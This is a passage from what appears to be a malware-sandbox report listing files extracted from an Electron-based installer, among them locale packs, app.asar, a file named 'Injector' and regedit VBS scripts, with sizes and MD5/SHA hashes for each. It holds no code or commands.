4990033756bc1b2410e77a607bb62f8c

SHA1
a02c0f347606bf50aa6f281e42d2d66ce6155299

SHA256
3265ae5b6c16a09b1ec9ea53181de78df75e951c3ce28f33d4c483088a9ab37b

SHA512
3d45c6dd30eea6d6929039c0cdaa7bb6f7b665fe67fc7a5ca79567d4fd3f907011857e5cb43c16cce9c558d4f669618bc5378f05fa583b19360df58b12b5f913

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\fr.pak
Filesize
577KB

MD5
1aea0f212cb96575b119da1f7b84633e

SHA1
3d540d9f7fccd4a5ab03824e3b4894aea6b7ea48

SHA256
8a283001240c59a552945d0466e3118dc125fbc9f1a10bdea4ca4197460102ba

SHA512
be10aadf5a127e7cd354cc2620e162e377e7263ae7c97ba1f026e9711cc8e9655d7a0bb2327ec1f09eb287f68ad4df9ecb133bc6d72adf9d8a5cd6929fec51f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\gu.pak
Filesize
1.1MB

MD5
86b829b3cdcf383f11ffa787a32446a0

SHA1
c9f626a97bcf00541876caa7a49d23e0b84b83ef

SHA256
74c62dca0b7a310aa593d1dcca8b0b0b382b052837e7cae6b87cf05b8b346b1b

SHA512
72b69cc9846fb078a8c03afd60154a3b55bc828b9e13b5124a473c0ee528e3cb3ed67f67d7d763ec8e78883640c53d4c88a7a14552b851d493abf65e269353f8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\he.pak
Filesize
696KB

MD5
8cac9a900616961967ba5d0c9b3317d4

SHA1
2fd04055155222a1b220238edb3a20a908e7947f

SHA256
25281efad59a66f310cabb92da67198451567da553f2c437e52388e8fd25b9a9

SHA512
337deee8affc46670d3263ca17c2f8b7aef8450010d4ff2eb39a4bf66e2c6f639643639b2e576961e24a7fc772f331d9ef23085f557e605cd499f6992000c0da

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\hi.pak
Filesize
1.2MB

MD5
3ddd4ae85a39fe6675365404dca77bf5

SHA1
2a3c2fc24612938edd46738f127098496262125b

SHA256
4b5585a8cc1a21e2dfcbd0d33f6cea87b7a583b8690f0f3635bd74bb5cbd2ed0

SHA512
fbbf103af336eceba0855f341c9e424bcb09c0527a63ce6ceb4773ddc228fdd5996b2b3bfbc2d11c77d82d012f9f4650317044cfbe50fa5adc0acb71c26e7da9

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\hr.pak
Filesize
538KB

MD5
427d00ead5500f7480cd6ef8de88b0cb

SHA1
4f271a9009201f00959a3eab337130ca9fad7557

SHA256
d1f8093b91663d061bc2fa20426e2c430d53b06fc605ac1b0b2279d446dc9317

SHA512
93190a72013d7fe155404585080c12b64f57948e829888a75d60284ea93cf59b6771956eb325b00eac484c7b424f8b8a1d5d293d90b221b7440ecc63c2899faf

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\hu.pak
Filesize
581KB

MD5
92995b10868e466811b909c9702f1727

SHA1
6cd34086b876bf07dc1222cbd33e8fac60e401ae

SHA256
0a62d168c0f6d9d651dedb4e01be5b533b94e8617535cd70ad22717748fbbc64

SHA512
412d0f253d31eff5819fc05ed0da6284a39cd5dbc3f8dac81153511c69aef9cd3f1170d3c6a74616e3d9c51bc457045e9715456b1ef50e139f68f667d5662f53

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\id.pak
Filesize
478KB

MD5
fb42de6be21c78da1b05c518c5625882

SHA1
7d8d4e28ea196e3e48df4999d94a04c0be31de16

SHA256
d9fc19e683240404a60d57037f24e1d8b20cfda4c8bcacfed577b86cd8988517

SHA512
63885e8c82dbef4902c75ae7bc4c3f953057236b07d6919bf3a9f8d1e6ec0ae2cb94cbe0366e56e1272653087faf2fb07b92b18bd312e8e1b38fc76ff5eb3922

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\it.pak
Filesize
527KB

MD5
d7c45df7f6d29d9a2775f531817b2fad

SHA1
f8a11fc014007e7ce2fd0ff137df117146a48a5d

SHA256
f38e6b6d975f8148f46dbeda89563cf71bf07af98e9b79c1a8d158b5f8f1309f

SHA512
c09b0f026077eb1f0be2206aabfc4bcf201fb2d8c6bb9072f27b7b95ab7fec18a837ecfcdefee2256b2508326e577e6e098572c4d3b0bba4852a79585d4bd522

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\ja.pak
Filesize
644KB

MD5
ace3fef3bcb086a6caafbdfc9562ecee

SHA1
ac86efa1b8fe88f050a8936926b96b055485a8b9

SHA256
6df72da472ee171acc440c20a2a194a2a4af4839b6a88323c4654c50ff8b492b

SHA512
da5425b10b239ce941733781b6994581d37c8b683946b97d759c2915e96808e18ba967849354687b2ba5ba492387b740dc8e6e67badccbd1a812e349693eb9ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\kn.pak
Filesize
1.3MB

MD5
a48fa9762b3504adc3fe4ec828c75149

SHA1
043f6ced7e30cee906eb15dcdd3ae59b9574fb1a

SHA256
333725ea1045d44acf2c19efc765bffc38cc5cea6e9977fe583ad6e203442582

SHA512
40d983b3df4b6cd8e3df855f4062e163bdbdd5142882088e6e8d5ca30bc538af44044f61803d33e94f4527cceafc44059c5de67c847567190767d3246bb93396

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\ko.pak
Filesize
544KB

MD5
c524ce72c7049c1c401d8685772e8d74

SHA1
56d28e03538e2fca873ac453ef2698fabda75a4a

SHA256
3ad0012db772293073acb05d24b8dfb26697d6cc5dd1612150df023dbc31b674

SHA512
ab764fa9b9f82c7146e1b108a2af792c35cba91b0e3be9accba48bac87a13612a61ec026705b77f006519d65a6415a5978139898239093b249ff583af0dc6aa3

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\lt.pak
Filesize
583KB

MD5
1bab0f6c08b1cb26db455aaf581490dc

SHA1
3a32246b812e8ed35ddf0a6842b8bf26b19be9d3

SHA256
946351ed2d74f247dea0f2742fc36d89225355480f0cec99d71599ccce3ea9e1

SHA512
c6e4502fda62e2606e31a7c67679d59d21a04342c507e1fa39ac59156a4d1e1cab1923de4bcf30b735d5bcf89824d4283b57db11af9673b5b956c2f883a3bc7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\lv.pak
Filesize
582KB

MD5
e4993f39d6fa671658aa3ce037aec60d

SHA1
2db9bfc42b07060f6e256c74a01c348cd6c2ac0a

SHA256
1e6f9a40f4fa1206117063234399bd7c1e7d198cbf6c4ad633e5e18ad0929836

SHA512
4192274330be238a93e370fc3fc8ada444b38fa1464889f0e3d0f6c5e548f7f7de14248937d45f8aa84c043078a69174ac1c9a5894fc9b4ff8f10deef6f77e5e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\ml.pak
Filesize
1.3MB

MD5
9f0422326953a0c48c1db82ca2a9d639

SHA1
2305bc895e9ccc5b9a3d661e891c4f06d8a503ff

SHA256
f2fb440eb0518dc695810fcb854b20b72aa47e5ffc75c803aacf05861d35a94f

SHA512
a899dd975a56a53503b5cbc7448f54423b18bfbd917f73f0871840d6cf6a574bbaac8d735ae8de6a074cd78c43b6640e3e46be1550dcef8f8cfd1971cc1513d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\mr.pak
Filesize
1.1MB

MD5
b0e1f36587445f28f22777d555683a0f

SHA1
42f7cd3c596c2f52662b86df9d9096bf822a80f3

SHA256
a674db4e60152fc17a32d4b92add129adaebfc02a1a783a12653f984447c535e

SHA512
575fdea827497ceab51df5fc8783f960b87d180f6031f0947525279d224189a6299943df37a014f7bcefc637ee23327fb1ae82eb77c175d63c515b29947ac0d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\ms.pak
Filesize
502KB

MD5
c8d605a91b2b66603b379f5557783afe

SHA1
d6f294eb91675182f658158ff9399592935c779a

SHA256
7707f79a2a4aec553e68af87802a0f19d3714a25311fb7b8afdc6ff4a5b6c5ff

SHA512
a9f100dc1fe0a19a0a0a4360fff392af4e07eaed6613ab6dc61548d36afe55e4c9183e6584ca4e15feb477947ee8a79a96775718197129a555319a162281b9c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\nb.pak
Filesize
487KB

MD5
4914ceee005991ad76c7cd75ed8bb645

SHA1
61d2732f5d5a20467d7f667b54ab654849d23289

SHA256
53b12866e7265661c0088b89653d2c1cb9220e1ec0ce0049f3095d53356b3f1c

SHA512
fdb51c9239eb894bc807d56a6afeaa06cabdbaa25cedf3d0b3763c6670321ef7087a35258737c0627b450932aceb7b6859224735bcf53b4b12f6f531fb066f99

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\nl.pak
Filesize
503KB

MD5
ed94cd5fe4846c197ebcdc3fb3dec939

SHA1
3239425517ebc508a449f3998036c21370685e32

SHA256
4736b7ec56cb845c14795e6e4fa98ddaba47c75aecec86e931f61222dff45ad9

SHA512
0f0a79ae99e8f74aab18c3673e640d4ea5f24d8b88a3ba63ea262da77ee3fe630296a818337c7b36b6603365f43c6f60720336fab9f594eb755f9c7efcdb8fe7

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\pl.pak
Filesize
560KB

MD5
12c3e7597522f09e87ff438ff2cf5c23

SHA1
e634c8bcd7d5f77fdb227f7428c146cac3e87b81

SHA256
2191f77aabe75522166a3325e2660395479633b936d5173d150120367ed501a4

SHA512
fd58c466458496316c659dea6afcd8dd8269b312c56a506d65db4bbcbd28d37edd137947f3c78e783cd1b3fbe9014480f3c625dc707ec4c27a63115ff8d877b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\pt-BR.pak
Filesize
527KB

MD5
576c1c0bbac545348532ffe36bf27fc1

SHA1
55c614f9d31c5e6466080afdaca79b6daf8ab10a

SHA256
1deee32edff320827dbfbe22aa42e83d8caf79f95f7cf18013424da7cdadb975

SHA512
11caaa048778e258fdf2af5b442eaeadf3412921d2e50065b7217de2277980a5fde086b7d6749cb918090daf4feaeb5e89ad7876ded2fba9f62d9e809593ccda

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\pt-PT.pak
Filesize
530KB

MD5
e4565bfa531c9c4344f84dc8be207c93

SHA1
5d1084ad5bff80383129850a853fe1319c23199f

SHA256
fcd194e5caf36be4958c559acbde4f28a957083bf2aceac893f9e5c9e65d8a95

SHA512
531a318e8ef1683abe4bc7b44e7d3a4d6ef907d5e7ddfa1f5cea20414dd33060981afdb8d1f4813b05be90985f10fb892f9060f6c1f2b975984f12acc8cdce6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\ro.pak
Filesize
549KB

MD5
8c922129bfb61fe14fa035d965108823

SHA1
aa8d8dac978053163a303c1f1206480144d4b330

SHA256
06c6486e8a42b447a55bd789bf2bc794354fa4be062139481e4612550f16c755

SHA512
25f9c2b75febfe607cbdd872a82338aecb5f277ed2d3d80fe0ec01289e3361445102392ea23207658ac347a774a7f47bbe19672d49f080cd6aea220da5ac3618

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\ru.pak
Filesize
902KB

MD5
dbd513d5ff195a0068677ba4aa417648

SHA1
9d6304911c1bfd9449a661baab44518f17ba64a3

SHA256
6e53b1b54bac43c07798ee6507bd05806fbd2146ac0f987a7f03aae3cf5d9985

SHA512
58b903eab4e0c769245c56f1d92dc020690b617d30495e8b436e0e052978c23d38219ad6a89493c116443e8ec4556f59de782326e567088d866751415abde40e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\sk.pak
Filesize
566KB

MD5
b74b01d80d6edcf13ba6514dcb1bf3f7

SHA1
405ddedaa9e3c9f3b5ddfeae6f440085c155a6f8

SHA256
7a1db23a5b4f8e4c7cbc80a832f4f4c33fe29e31d4ae78a814bd8ca85620968f

SHA512
2f649b116eb297c7ee7248a35858506f5329094c14be2e6c2cf52bca42170c519ef0446773be096c1571d1cb4502a5a840c3c934710c4900c8cd8344e4e9bd1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\sl.pak
Filesize
544KB

MD5
998585ed4b877e6cb29bef5ec5675004

SHA1
d82e9c2127062187a0ad3906579cdc491f6ecf04

SHA256
7235e631afff75cad9d25b2e5a0e74696ea6b7f4b2a05753331bbd719a0699cb

SHA512
b0d4ad73c4e1aaddd156cd115dbadcda692e314e6f5629e26aa13144e2bac5fdb432db345b68eb79f732e6e102674ebf8cb90c06570ea4d49e4045fbd8cedba4

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\sr.pak
Filesize
839KB

MD5
044954b860180caff2b57af02aa4e1ec

SHA1
c006f910386d7a11c9d074586c60b629131caf0b

SHA256
35e57d972a60e161f123a5783e67e250f5cae1f66a2c11b119c10b81c43bd03f

SHA512
33d8a0fb6c76364b756eb199f629f930d419ea31f631b8e6935b2efdefeca7f755a87bc3ec5422f9ca9f00da7ed5564fd90e228b0f1e9951a82cd1a4deb9b2b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\sv.pak
Filesize
489KB

MD5
d5925395fb791adebe0d06ce055ce976

SHA1
73163c7420f6a70ac7fcb52bb8cd97f4828a3ded

SHA256
bcd070d70a4284fd3144bf37c5e56994ca3a69c8f65aa72a9231748b30210e00

SHA512
6e0bf0f4d488eaf388431f05effced112e597be52b9c8f199c88ebb6e7e6a28d06f9a180ba3a9e7bf9da5166570077ed895249af7806db74343a64bb598a4260

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\sw.pak
Filesize
515KB

MD5
0787972a076c6690e7938758c2a92e24

SHA1
dbf02e5a3ae26acb060b533bb006756c19122bfe

SHA256
eb96ab83e2e08e811928742590178e97454863bc581dd8574d6a644fd3c6615a

SHA512
9f3560a3b648b1a7025cd8a98c39ec7634883aade1ac2c7836fde890cc04bd009aa5c1bca8354ee1259ebcd9482326c51a7d21bdee3caf92984ecbefab35d34c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\ta.pak
Filesize
1.3MB

MD5
85403cab968fbdcbf7f92f3a4d49a4b4

SHA1
eacf6ecf2bef4ed5275ed237d3830754db9e1149

SHA256
e213c963248c93fcb4b88b1a45936dda28a5fe39cc0428a16556c6d737fc9940

SHA512
b49bcd260c38f302fa9fa83a2b17d2f7bf576bae14b64882ce9b38152141504a69fbb73d1f9ef8b47ae1a7a995a41e1127df3689c1e043e3b110cc35b73c0fb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\te.pak
Filesize
1.2MB

MD5
d251d089aa789bccc27a0b473d39e46c

SHA1
283d8fb6b6195b3427144773ffc4691c82e31f0e

SHA256
8dd7d206379445bd9afa4e01ab986c439cf70841d080fca6e152b453e94fcc49

SHA512
27e6f13f6c7937c8121451d70ee90d2a2ce5e519d17e882a86b29a6a78764427022c36b6a99178e9933e01500b55bcbfd0dc79a6f028a046967c2c53f78424fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\th.pak
Filesize
1.0MB

MD5
f30b74c4203bc2cdf830681b14651943

SHA1
47f541c0b5ca948dd371e657ac24f7e61b402ceb

SHA256
a4c2c305aa9d3df52d988c4da2bda398e8ee81d320e9da1de7d4d366e826dbc2

SHA512
a92ac611d43287060fafc66070d7b40d4d253d32cec9cfd01c15fd7892eabbc49c1ba63d03c39919bb2ba94e974f93c73f6e455263ce4e0080fc8161587f09c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\tr.pak
Filesize
527KB

MD5
a4520237e44d35110e003a26cac98052

SHA1
8e50c8f88200a417d2d792c67e52ca115340902a

SHA256
f842b56ddc4145e4474c5cfc67893900b577c131a4b123cb16cfcad48ed0f338

SHA512
b08e577ebe680383f9fb228162ab21e8aaa38abc3e5d0b95326cd579454571738845f4bd86ccd316643f45bf5b6b619dd3f77f67b68b056dde68ee1697029b03

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\uk.pak
Filesize
902KB

MD5
8f894b4972b41dc4c7b65847ba856ff1

SHA1
63ce84840a90485fd376908c39a4125dfd53fc2d

SHA256
5dd2fcc64ef09be0775c2efe7e07dddfc18f5ba6059f878d0c22b9b0c2207cdc

SHA512
77ecdfcfd31803f308da51e6b2bbd47b7c0848104925b642cbcf877c6ee228c5c7e9dc7746a208d0640455daeeb6dfcbe954d7268119b9c096588deab3c2b53f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\ur.pak
Filesize
790KB

MD5
7b5fed5150135b728bf8865246f7c8fc

SHA1
214b0f507ff6384b1b305f1718db43023499eeaa

SHA256
a0c752a805da7dd6608ad04625734f4d27cb75b682f51b2dc8ef08350cc7a2cc

SHA512
81fc55db4b0635e09057fd060d9eb72bda5a5fd2d2e1e4284e1b45098b287c609526c766b030dd0eaebc0836a32bcbf6dc0aae94327c103f3f736b5cd051a8a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\vi.pak
Filesize
624KB

MD5
d910fb70771f06c64f6a2d78ca25d340

SHA1
2b1ba5cf58c552984164e65e30cc05744d8ec419

SHA256
d7f676cf557d43db07b14a22b0b20ca761ced59285cadd75c07c68613486e909

SHA512
4e3626cd558cc75b8833308c816c45ca106203cc054e214a08ceccd3214aa296097153ad69635f584dbab9def2440ea2aed79c0e02464c164bbced572840f264

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\zh-CN.pak
Filesize
450KB

MD5
6617a2bfccc344c5dc0dfe03762d219d

SHA1
9f9d5059515af878d273a9b74f32ecddd4a93f83

SHA256
48e32f53d07cad6e6dc12040619f7021fa8f0b3254cc6945905b7c6748acb787

SHA512
9ad87e1f4b404cfaa80ba4bd617217bd638cdf7255da0c74d03b8b3123e2afe9f1077f27dda07e5dc71edf82d08c69ac20a415157b12519731e1ebd45fc3b5c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\locales\zh-TW.pak
Filesize
445KB

MD5
197d88a99d2348c9539d388f4b825c4c

SHA1
7b634dcd2cd27b2f8592eacfe314cf23a37f316d

SHA256
a8b11c74a0512fed29b11748181ef4b1de84dc99197c48d9eecf316aceb425fa

SHA512
da7acb060d14f87743ed788df4e2c6ff3ca18a633e46f4d84c4619802edfc23b363f45cec8d2cb23c3e12bbaa547f6df1f5b60ce7ec7d770f689346b0e06a977

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources.pak
Filesize
5.1MB

MD5
97770ebb513490dfb038bed3bc444128

SHA1
2e459ca458879ac8f427080764bb5d668a912235

SHA256
75e03df55d7d23c840c09288da270285f17d067cef8709252451c0a8aa1254f4

SHA512
7f41708f8f29f0a9730e461c7a5a6780824ec31dac6278abb2c42a50919c10e01ce00aa7e4cdef680d667c467bab4683df90d5db2c61aef8dfdf77c2eb3d8d24

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\Injector
Filesize
107KB

MD5
d773decd47204fbe6a89d0b6607f6d16

SHA1
b30ac30093455c60111b36658ce297204bdeae42

SHA256
c22d94a2652a4689a73d845e127157de986b72669aabf1c4fefc0f789646895b

SHA512
ad6ffb9960131f5951e962c306295628835e2c1eabdebf8a810b205636c33ffc95462f8e46b82cbf7f75b1084fcafbdd2663db39c197d5a038acd6aaee814057

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar
Filesize
2.6MB

MD5
aba0a7972d4f6fbabde1a9445fc31ce6

SHA1
7d123fc41adab201ef689edcda4cafd39497d286

SHA256
192cb44e920ab8767f6a34c9246fd1b1afd94f00a1eb044f5f4902cb227810b7

SHA512
031a1fcbb382cfcb9e3670deb204a1408c886904b246eec49606abe4528c6994fec32bf58e769df3c1e82c3831547729f9b58920f9ea6f7e15c65765c0cabb28

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\ps-list\index.js
Filesize
3KB

MD5
884e837bda065828a42d633f81cdfad5

SHA1
c1768675091ea6139b90e53853420ccef9c09a4c

SHA256
b7ac5fa0d24df44755481b9876850fed593423d68c48eed9d30e989879b1864b

SHA512
a43bd95b227ba0158a0005a9bfec6dfdd3ad1cd85bcfbaf37681a7664b4d66e834bdd33484251374f791b5a5d7cbe2dc5cb26baf0e029712f8977cb5509b9852

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\ps-list\license
Filesize
1KB

MD5
d5f2a6dd0192dcc7c833e50bb9017337

SHA1
80674912e3033be358331910ba27d5812369c2fc

SHA256
5c932d88256b4ab958f64a856fa48e8bd1f55bc1d96b8149c65689e0c61789d3

SHA512
d1f336ff272bc6b96dc9a04a7d0ef8f02936dd594f514060340478ee575fe01d55fc7a174df5814a4faf72c8462b012998eca7bb898e3f9a3e87205fb9135af2

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\ps-list\package.json
Filesize
606B

MD5
0d66a224c9a1c343842b7c97e5634ea6

SHA1
83e8a14cfaceb5a522e91f057cb76fa98162f9a7

SHA256
b7a7af79ae2225f7dee5b160559468efc4663cf8dfd2c6e9a068969cb089b003

SHA512
e071f659c7c433b55f0f1aed83ae63032618e522d11077da83e32d9ed072a20b123cb8083129df7201dd19bcb1d578d87ef256659b74d9e82a0934b725957f38

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\ps-list\vendor\fastlist-0.3.0-x64.exe
Filesize
265KB

MD5
f92f454de8ecedd3945dbaeacd381dc3

SHA1
ed4aa49e15795ac31f1e7cfaef2e0c16359c5258

SHA256
d1a71f9ac1728082c1b276392725c3e010b98714888579b99152e401abedbf11

SHA512
312d62da1f41e2b9fe0f15ef30d81a4241f309d83a24643ec8cb99104ef5ef7f52ec216c5cdf0e3995fc5b538dfdfc54e78fbde3a57eb0ab8bd04dec07cb5586

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\ps-list\vendor\fastlist-0.3.0-x86.exe
Filesize
210KB

MD5
3de9ee7fe8cf4710da1c8538a1bd86df

SHA1
6ff4b813ad66f0b013222fe044579511a79804d8

SHA256
017411f3b0b5c0402cc3b2cb87c32c6fc71abd82e5b17ea6108990096c75a65d

SHA512
0aab4d484df289485beb90ee8b7d929d2d6fa5d7e4385c17b2745dea40e295f1a9c6c3c8c6c206b46f04a50b51eb01952793ffb84e978c9d0d7447435280abe7

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\regedit\vbs\ArchitectureAgnosticRegistry.vbs
Filesize
2KB

MD5
690f4cc91ff68ecdbcd8b014c7974c44

SHA1
277965313def6d5097ece7c910409dd1b517ffef

SHA256
27c46f4f186b2168b1d37057378b58667151088cea24c8944d539d251d0b7f6d

SHA512
e6d6ef66dfbd7da01100d92bd5f9b936dbd408538484f8f9a40228f9e4ddac3f65ad5aebcbeba2180b55aa976b2d7adba3e95bfe4aa4b49ac6dc68dcf799925d

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\regedit\vbs\ArchitectureSpecificRegistry.vbs
Filesize
8KB

MD5
ee5af2ed3dd0d9efbcd172026bdd7260

SHA1
fceb14612cd086a3e285b5e137b0652e8603b354

SHA256
6786fe4e7f09d2266678e2beaec09c5bc7fea8bbb2c34033f37a2a4f3779efc9

SHA512
b166e68fd6d17d8029b8a2cb3b0ed14ce71b3c607d5182f10e05c7f4d8ecf76300034835670031e283f54fa3fb5dbc165e1ad9a4120140c3fef98a34d834250e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\regedit\vbs\JsonSafeTest.wsf
Filesize
217B

MD5
b2f8fff6092358229a94cc309ab6c11b

SHA1
e4c29b96408d58d9196ad971cabc50d05bc94c4c

SHA256
c2fab2eb9137feb5ce29833d58690a0735703a0bd2f38538061758b47a44105f

SHA512
a1dae465d9b9ba874d1497485e08d83471d3b97cf1143dcee6cbc24c0121bb6f1fbbb8aff66239aae46ac0b8451fafb1cf7e7a989493b9f91423dd76756aad7f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\regedit\vbs\regCreateKey.wsf
Filesize
775B

MD5
04e6d736dda6eec814e5bff7121a695c

SHA1
bcd113f9b374f977a81e52f1be21c35e9c815c74

SHA256
44201185e05845fef8b56ba9cea0194edffd89d0465b86e055292f84f19526c0

SHA512
6db255f72129f080dd259a3e7603cd1c21702a8810454c7935affe9a9f443a221a614a39cbfecfde1b2e13523992bbc8c222a0d763c018bc4ea10fda0cbfb468

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\regedit\vbs\regDeleteKey.wsf
Filesize
695B

MD5
82bd86d76a25e9d3bc5e7ffb15311b16

SHA1
f749b997b38de6df0f06380049e0cc370bd633cc

SHA256
3db8ee7f2056d79a97fafdcc7369867e7b49ecaa58b7c6ad442be858e1dcc6c2

SHA512
eb1876453aeea894e0c99314f20d54883e45aa29a9305e3a1cfc55187bf9a4abf299d955a7ee8f53f6480a10cdc803e3464759e01b330f93264892fc999823bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\regedit\vbs\regDeleteValue.wsf
Filesize
718B

MD5
2f99f4a960ecd045306ad0581854cd8e

SHA1
b0515c23e51bc05012256aaaacf04e7a21563244

SHA256
080b83a9b8666c5f02a5af1a0fcd351d3073a05c2319628e060fcdce7f70ab35

SHA512
7deb0dc297184bd87360b63ef411ccb209f12649e672447207cc6753fde015a09a56527d505c7a96e8414de0f8f58b854b007926982ac47d22eba30afbbcda9a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\regedit\vbs\regList.wsf
Filesize
1KB

MD5
c57c91809118b64333bc73eddcfd429a

SHA1
33e6de2a7b41fe406ba1994cd45be673c19f0cce

SHA256
1d5b1dd86cac924a6acf746778020c46195e77750901eece4c954450c3bbb362

SHA512
4ca78a5b1d95503963b0bc7c70deb9041480f32b5e15cbc97f924e747689ab7c499bd153ba4f352513b2928faf2491dedfaffa4bef4daa37a29a32c5203a0a02

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\regedit\vbs\regListStream.wsf
Filesize
1KB

MD5
9e16e93684909d901ea9dc300a3371df

SHA1
37876c009c65472a5e9dd46b673febb238193722

SHA256
da4e3cd96dcecbcb2ece2d1e35a8adcc7dbaf79cd7a843856f7ce2872304fc88

SHA512
0214051bb35dcdb1cec9d4835555b4da5d14120360eab5921e02ec805f35ff35d13a839e77b638f18cb793a4010c7212424391e8230620b3c7b4d9c9dbfea748

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\regedit\vbs\regPutValue.wsf
Filesize
1KB

MD5
f41c18da4e7cbef3a564613c74eab95e

SHA1
b4fae739fe5fd97b398a6a5c95c2077e9c1070c0

SHA256
5d43ec5af7744fb1de15e4a3058305ecb3f20e9daa7315df6812be5571466272

SHA512
bad5443f288e2d84c05ac30045ea04b253779c377b0a5d401c53648b75c55a008faf7ef3f8cd944c2cf3130b897f144ba7c04a4b48c48f2c9753ed44b5a2f34b

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\regedit\vbs\regUtil.vbs
Filesize
8KB

MD5
e2a96b441d2cb55d3f0dff04e605907c

SHA1
c4c353788a9d3710ab5ad327531c018b8c41ba81

SHA256
b35888252d3b2c6cc4c37d0f15311f1b4becbfbda7a766ccc38c6536ae0106b2

SHA512
9c3240c76aff8b7ef95862e0d889bf39542e6f9154423b2f73c098b9503d90fcf95d206b126da934b4ce18b08d34be9bd5b2acce2f833573eaab4df28a7a2718

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsmE4C3.tmp\7z-out\resources\app.asar.unpacked\node_modules\regedit\vbs\util.vbs
Filesize
4KB

MD5
93a94731c49a9061ee563decf2fe1388

SHA1
3c64e4a5f3f86d2d21c2fc93a763c1df9908e861

SHA256
d8ab1f1cfa9b8afaddf31f7f905e5bfdf01025e1c4168e0d4aeceff045fd2261

SHA512
